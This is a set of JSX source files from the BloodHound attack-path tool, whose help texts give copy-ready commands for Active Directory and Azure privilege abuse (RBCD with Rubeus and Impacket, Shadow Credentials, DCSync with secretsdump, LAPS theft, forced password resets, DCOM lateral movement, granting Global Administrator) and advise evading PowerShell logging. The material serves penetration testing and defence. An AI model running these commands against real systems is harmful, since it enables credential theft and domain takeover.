<h4> Shadow Credentials attack </h4>
<p>To abuse this privilege, use <a href='path_to_url
<pre>
<code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code>
</pre>
<p>
For other optional parameters, view the pyWhisker documentation.
</p>
</>
);
} else {
return (
<>
<h4> Resource-Based Constrained Delegation </h4>
First, if an attacker does not control an account with an
SPN set, a new attacker-controlled computer account can be
added with Impacket's addcomputer.py example script:
<pre>
<code>
{
"addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
}
</code>
</pre>
We now need to configure the target object so that the attacker-controlled
computer can delegate to it. Impacket's rbcd.py script can be used for that
purpose:
<pre>
<code>
{
"rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
}
</code>
</pre>
And finally we can get a service ticket for the service name (sname) we
want to "pretend" to be "admin" for. Impacket's getST.py example script
can be used for that purpose.
<pre>
<code>
{
"getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
}
</code>
</pre>
This ticket can then be used with Pass-the-Ticket, and could grant access
to the file system of the TARGETCOMPUTER.
<h4> Shadow Credentials attack </h4>
<p>To abuse this privilege, use <a href='path_to_url
<pre>
<code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code>
</pre>
<p>
For other optional parameters, view the pyWhisker documentation.
</p>
</>
);
}
case 'Domain':
return (
<>
<h4> DCSync </h4>
<p>
The AllExtendedRights privilege grants {sourceName} both the
DS-Replication-Get-Changes and
DS-Replication-Get-Changes-All privileges, which combined
allow a principal to replicate objects from the domain{' '}
{targetName}.
</p>
<p>
This can be abused using Impacket's secretsdump.py example script:
</p>
<pre>
<code>
{
"secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'"
}
</code>
</pre>
<h4> Retrieve LAPS Passwords </h4>
<p>
The AllExtendedRights privilege also grants {sourceName} enough{' '}
privileges, to retrieve LAPS passwords domain-wise.
</p>
<p>
<a href="path_to_url">pyLAPS</a> can be used
for that purpose:
</p>
<pre>
<code>
{
'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
</code>
</pre>
</>
);
}
};
LinuxAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
haslaps: PropTypes.bool
}
export default LinuxAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllExtendedRights/LinuxAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,801 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const WindowsAbuse = ({ sourceName, sourceType, targetName, targetType, haslaps }) => {
switch (targetType) {
case 'User':
return (
<>
<p>
The AllExtendedRights privilege grants {sourceName} the
ability to change the password of the user {targetName}{' '}
without knowing their current password. This is
equivalent to the "ForceChangePassword" edge in
BloodHound.
</p>
<p>
There are at least two ways to execute this attack. The
first and most obvious is by using the built-in net.exe
binary in Windows (e.g.: net user dfm.a Password123!
/domain). See the opsec considerations tab for why this
may be a bad idea. The second, and highly recommended
method, is by using the Set-DomainUserPassword function
in PowerView. This function is superior to using the
net.exe binary in several ways. For instance, you can
supply alternate credentials, instead of needing to run
a process as or logon as the user with the
ForceChangePassword privilege. Additionally, you have
much safer execution options than you do with spawning
net.exe (see the opsec tab).
</p>
<p>
To abuse this privilege with PowerView's
Set-DomainUserPassword, first import PowerView into your
agent session or into a PowerShell instance at the
console. You may need to authenticate to the Domain
Controller as{' '}
{sourceType === 'User'
? `${sourceName} if you are not running a process as that user`
: `a member of ${sourceName} if you are not running a process as a member`}
. To do this in conjunction with Set-DomainUserPassword,
first create a PSCredential object (these examples comes
from the PowerView help documentation):
</p>
<pre>
<code>
{"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" +
"$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"}
</code>
</pre>
<p>
Then create a secure string object for the password you
want to set on the target user:
</p>
<pre>
<code>
{
"$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force"
}
</code>
</pre>
<p>
Finally, use Set-DomainUserPassword, optionally
specifying $Cred if you are not already running a
process as {sourceName}:
</p>
<pre>
<code>
{
'Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred'
}
</code>
</pre>
<p>
Now that you know the target user's plain text password,
you can either start a new agent as that user, or use
that user's credentials in conjunction with PowerView's
ACL abuse functions, or perhaps even RDP to a system the
target user has access to. For more ideas and
information, see the references tab.
</p>
</>
);
case 'Computer':
if (haslaps) {
return (
<>
<p>
The AllExtendedRights privilege grants {sourceName} the
ability to obtain the RID 500 administrator password of{' '}
{targetName}. {sourceName} can do so by listing a
computer object's AD properties with PowerView using
Get-DomainComputer {targetName}. The value of the
ms-mcs-AdmPwd property will contain password of the
administrative local account on {targetName}.
</p>
<p>
Alternatively, AllExtendedRights on a computer object can
be used to perform a resource based constrained
delegation attack.
</p>
<p>
Abusing this primitive is possible
through the Rubeus project.
</p>
<p>
First, if an attacker does not control an account
with an SPN set, Kevin Robertson's Powermad project
can be used to add a new attacker-controlled
computer account:
</p>
<pre>
<code>
{
"New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)"
}
</code>
</pre>
<p>
PowerView can be used to then retrieve the security
identifier (SID) of the newly created computer
account:
</p>
<pre>
<code>
$ComputerSid = Get-DomainComputer attackersystem
-Properties objectsid | Select -Expand objectsid
</code>
</pre>
<p>
We now need to build a generic ACE with the
attacker-added computer SID as the principal, and
get the binary bytes for the new DACL/ACE:
</p>
<pre>
<code>
{'$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"\n' +
'$SDBytes = New-Object byte[] ($SD.BinaryLength)\n' +
'$SD.GetBinaryForm($SDBytes, 0)'}
</code>
</pre>
<p>
Next, we need to set this newly created security
descriptor in the
msDS-AllowedToActOnBehalfOfOtherIdentity field of
the comptuer account we're taking over, again using
PowerView in this case:
</p>
<pre>
<code>
{
"Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}"
}
</code>
</pre>
<p>
We can then use Rubeus to hash the plaintext
password into its RC4_HMAC form:
</p>
<pre>
<code>
{'Rubeus.exe hash /password:Summer2018!'}
</code>
</pre>
<p>
And finally we can use Rubeus' *s4u* module to get a
service ticket for the service name (sname) we want
to "pretend" to be "admin" for. This ticket is
injected (thanks to /ptt), and in this case grants
us access to the file system of the TARGETCOMPUTER:
</p>
<pre>
<code>
{
'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt'
}
</code>
</pre>
</>
);
} else {
return (
<>
<p>
AllExtendedRights on a computer object can be used to
perform a resource based constrained delegation
attack.
</p>
<p>
Abusing this primitive is possible
through the Rubeus project.
</p>
<p>
First, if an attacker does not control an account
with an SPN set, Kevin Robertson's Powermad project
can be used to add a new attacker-controlled
computer account:
</p>
<pre>
<code>
{
"New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)"
}
</code>
</pre>
<p>
PowerView can be used to then retrieve the security
identifier (SID) of the newly created computer
account:
</p>
<pre>
<code>
{
'$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid'
}
</code>
</pre>
<p>
We now need to build a generic ACE with the
attacker-added computer SID as the principal, and
get the binary bytes for the new DACL/ACE:
</p>
<pre>
<code>
{'$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"\n' +
'$SDBytes = New-Object byte[] ($SD.BinaryLength)\n' +
'$SD.GetBinaryForm($SDBytes, 0)'}
</code>
</pre>
<p>
Next, we need to set this newly created security
descriptor in the
msDS-AllowedToActOnBehalfOfOtherIdentity field of
the comptuer account we're taking over, again using
PowerView in this case:
</p>
<pre>
<code>
{
"Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}"
}
</code>
</pre>
<p>
We can then use Rubeus to hash the plaintext
password into its RC4_HMAC form:
</p>
<pre>
<code>
{'Rubeus.exe hash /password:Summer2018!'}
</code>
</pre>
<p>
And finally we can use Rubeus' *s4u* module to get a
service ticket for the service name (sname) we want
to "pretend" to be "admin" for. This ticket is
injected (thanks to /ptt), and in this case grants
us access to the file system of the TARGETCOMPUTER:
</p>
<pre>
<code>
{
'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt'
}
</code>
</pre>
</>
);
}
case 'Domain':
return (
<p>
The AllExtendedRights privilege grants {sourceName} both the
DS-Replication-Get-Changes and
DS-Replication-Get-Changes-All privileges, which combined
allow a principal to replicate objects from the domain{' '}
{targetName}. This can be abused using the lsadump::dcsync
command in mimikatz.
</p>
);
}
};
WindowsAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
haslaps: PropTypes.bool
}
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllExtendedRights/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 2,462 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const AllExtendedRights = ({
sourceName,
sourceType,
targetName,
targetType,
haslaps,
}) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
haslaps={haslaps}
/>
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
targetType={targetType}
haslaps={haslaps}
/>
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
AllExtendedRights.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AllExtendedRights;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllExtendedRights/AllExtendedRights.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 369 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllExtendedRights/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 177 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
When using the PowerView functions, keep in mind that PowerShell v5
introduced several security mechanisms that make it much easier for
defenders to see what's going on with PowerShell in their network,
such as script block logging and AMSI. You can bypass those security
mechanisms by downgrading to PowerShell v2, which all PowerView
functions support.
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllExtendedRights/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 110 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZAvereContributor = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZAvereContributor.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZAvereContributor;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAvereContributor/AZAvereContributor.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 236 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
Any principal granted the Avere Contributor role, scoped to the
affected VM, can reset the built-in administrator password on the
VM.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAvereContributor/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 62 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
The Avere Contributor role allows you to run SYSTEM
commands on the VM
</p>
<p>Via PowerZure:</p>
<a href='path_to_url
<br />
<a href='path_to_url
<br />
<a href='path_to_url#invoke-azurerunprogram'>
Invoke-AzureRunProgram
</a>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAvereContributor/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 117 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
ATT&CK T0008: Lateral Movement
</a>
<br />
<a href='path_to_url
ATT&CK T1021: Remote Services
</a>
<br />
<a href='path_to_url#avere-contributor'>
Microsoft Docs - Avere Contributor
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAvereContributor/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 112 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
Because you‘ll be running a command as the SYSTEM user on the
Virtual Machine, the same opsec considerations for running malicious
commands on any system should be taken into account: command line
logging, PowerShell script block logging, EDR, etc.
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAvereContributor/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 92 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} membership in the
Distributed COM Users local group on the computer {targetName}.
</p>
<p>
This can allow code execution under certain conditions by
instantiating a COM object on a remote machine and invoking its
methods.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ExecuteDCOM/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 151 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const ExecuteDCOM = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse targetName={targetName} />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
ExecuteDCOM.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default ExecuteDCOM;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ExecuteDCOM/ExecuteDCOM.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 254 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const Abuse = ({ targetName }) => {
return (
<>
<p>
The PowerShell script Invoke-DCOM implements lateral movement
using a variety of different COM objects (ProgIds:
MMC20.Application, ShellWindows, ShellBrowserWindow,
ShellBrowserWindow, and ExcelDDE). LethalHTA implements lateral
movement using the HTA COM object (ProgId: htafile).
</p>
<p>
One can manually instantiate and manipulate COM objects on a
remote machine using the following PowerShell code. If
specifying a COM object by its CLSID:
</p>
<pre>
<code>
{`$ComputerName = ${targetName} # Remote computer\n` +
'$clsid = "{fbae34e8-bf95-4da8-bf98-6c6e580aa348}" # GUID of the COM object\n' +
'$Type = [Type]::GetTypeFromCLSID($clsid, $ComputerName)\n' +
'$ComObject = [Activator]::CreateInstance($Type)'}
</code>
</pre>
<p>If specifying a COM object by its ProgID:</p>
<pre>
<code>
{`$ComputerName = ${targetName} # Remote computer\n` +
'$ProgId = "<NAME>" # GUID of the COM object\n' +
'$Type = [Type]::GetTypeFromProgID($ProgId, $ComputerName)\n' +
'$ComObject = [Activator]::CreateInstance($Type)'}
</code>
</pre>
</>
);
};
Abuse.propTypes = {
targetName: PropTypes.string,
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ExecuteDCOM/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 390 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url '>
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<h4>Invoke-DCOM</h4>
<a href='path_to_url
path_to_url
</a>
<h4>LethalHTA</h4>
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url '>
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ExecuteDCOM/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 285 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
The artifacts generated when using DCOM vary depending on the
specific COM object used.
</p>
<p>
DCOM is built on top of the TCP/IP RPC protocol (TCP ports 135 +
high ephemeral ports) and may leverage several different RPC
interface UUIDs(outlined here). In order to use DCOM, one must
be authenticated. Consequently, logon events and
authentication-specific logs(Kerberos, NTLM, etc.) will be
generated when using DCOM.
</p>
<p>
Processes may be spawned as the user authenticating to the
remote system, as a user already logged into the system, or may
take advantage of an already spawned process.
</p>
<p>
Many DCOM servers spawn under the process "svchost.exe -k
DcomLaunch" and typically have a command line containing the
string " -Embedding" or are executing inside of the DLL hosting
process "DllHost.exe /Processid:{'{<AppId>}'}" (where AppId is
the AppId the COM object is registered to use). Certain COM
services are implemented as service executables; consequently,
service-related event logs may be generated.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/ExecuteDCOM/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 307 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZMGGrantRole = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZMGGrantRole.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZMGGrantRole;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGGrantRole/AZMGGrantRole.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 228 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
This edge is created during post-processing. It is created against
all AzureAD admin roles when a Service Principal has the following
MS Graph app role assignment:
</p>
<p>
<ul>
<li>RoleManagement.ReadWrite.Directory</li>
</ul>
</p>
<p>
This privilege allows the Service Principal to promote itself or
any other principal to any AzureAD admin role, including Global
Administrator.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGGrantRole/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 135 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
To abuse this privilege, you can promote a principal you control
to Global Administrator using BARK's New-AzureADRoleAssignment.
</p>
<p>
This function requires you to supply an MS Graph-scoped JWT
associated with the Service Principal that has the privilege
to grant AzureAD admin roles. There are several ways to
acquire a JWT. For example, you may use BARKs
Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
by supplying a Service Principal Client ID and secret:
</p>
<pre>
<code>
{
'$MGToken = Get-MSGraphTokenWithClientCredentials `\n' +
' -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `\n' +
' -ClientSecret "asdf..." `\n' +
' -TenantName "contoso.onmicrosoft.com"'
}
</code>
</pre>
<p>
Then use BARK's New-AzureADRoleAssignment function to grant the
AzureAD role to your target principal:
</p>
<pre>
<code>
{
'New-AzureADRoleAssignment `\n' +
' -PrincipalID "6b6f9289-fe92-4930-a331-9575e0a4c1d8" `\n' +
' -RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `\n' +
' -Token $MGToken'
}
</code>
</pre>
<p>
If successful, the output will include the principal ID, the role ID, and a
unique ID for the role assignment.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGGrantRole/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 435 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
When you assign an AzureAD admin role to a principal
using this privilege, the Azure Audit log will create
an event called "Add member to role outside of PIM
(permanent)".
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGGrantRole/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 81 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
Azure provides several systems and mechanisms for granting
control of securable objects within Azure Active Directory,
including tenant-scoped admin roles, object-scoped admin roles,
explicit object ownership, and API permissions.
</p>
<p>
When a principal has been granted "Cloud App Admin" or "App
Admin" against the tenant, that principal gains the ability to
add new secrets to all Service Principals and App Registrations.
Additionally, a principal that has been granted "Cloud App
Admin" or "App Admin" against, or explicit ownership of a
Service Principal or App Registration gains the ability to add
secrets to that particular object.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAddSecret/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 180 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZAddSecret = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZAddSecret.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZAddSecret;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAddSecret/AZAddSecret.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 225 |
```jsx
import React from 'react';
const General = () => {
return <p>The ability to read secrets from key vaults</p>;
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZGetSecrets/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 34 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
There are several ways to perform this abuse, depending on what
sort of access you have to the credentials of the object that
holds this privilege against the target object. If you have an
interactive web browser session for the Azure portal, it is as
simple as finding the target App in the portal and adding a new
secret to the object using the Certificates & secrets tab.
Service Principals do not have this tab in the Azure portal but
you can add secrets to them with the MS Graph API.
</p>
<p>
No matter what kind of control you have, you will be able to
perform this abuse by using BARKs New-AppRegSecret or
New-ServicePrincipalSecret functions.
</p>
<p>
These functions require you to supply an MS Graph-scoped JWT
associated with the principal that has the privilege to add a
new secret to your target application. There are several ways to
acquire a JWT. For example, you may use BARKs
Get-GraphTokenWithRefreshToken to acquire an MS Graph-scoped JWT
by supplying a refresh token:
<pre>
<code>
$MGToken = Get-GraphTokenWithRefreshToken -RefreshToken
"0.ARwA6WgJJ9X2qk" -TenantID "contoso.onmicrosoft.com"
</code>
</pre>
</p>
<p>
Then use BARKs New-AppRegSecret to add a new secret to the
target application:
<pre>
<code>
New-AppRegSecret -AppRegObjectID "d878" -Token
$MGToken.access_token
</code>
</pre>
</p>
<p>
The output will contain the plain-text secret you just created
for the target app:
<pre>
<code>
PS /Users/andyrobbins> New-AppRegSecret -AppRegObjectID
"d878" -Token $MGToken.access_token Name Value ----
----- AppRegSecretValue odg8Q~... AppRegAppId 4d31
AppRegObjectId d878
</code>
</pre>
</p>
<p>
With this plain text secret, you can now acquire tokens as the
service principal associated with the app. You can easily do
this with BARKs Get-MSGraphToken function:
<pre>
<code>
PS /Users/andyrobbins> $SPToken = Get-MSGraphToken
`-ClientID "4d31" `-ClientSecret "odg8Q~..."
`-TenantName "contoso.onmicrosoft.com" PS
/Users/andyrobbins> $SPToken.access_token
eyJ0eXAiOiJKV1QiLCJub
</code>
</pre>
</p>
<p>
Now you can use this JWT to perform actions against any other MS
Graph endpoint as the service principal, continuing your attack
path with the privileges of that service principal.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZAddSecret/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 742 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZGetSecrets = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZGetSecrets.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZGetSecrets;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZGetSecrets/AZGetSecrets.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 230 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
Use PowerShell or PowerZure to fetch the secret from the key
vault
</p>
<p>Via PowerZure</p>
<a href='path_to_url#get-azurekeyvaultcontent'>
Get-AzureKeyVaultContent
</a>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZGetSecrets/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 91 |
```jsx
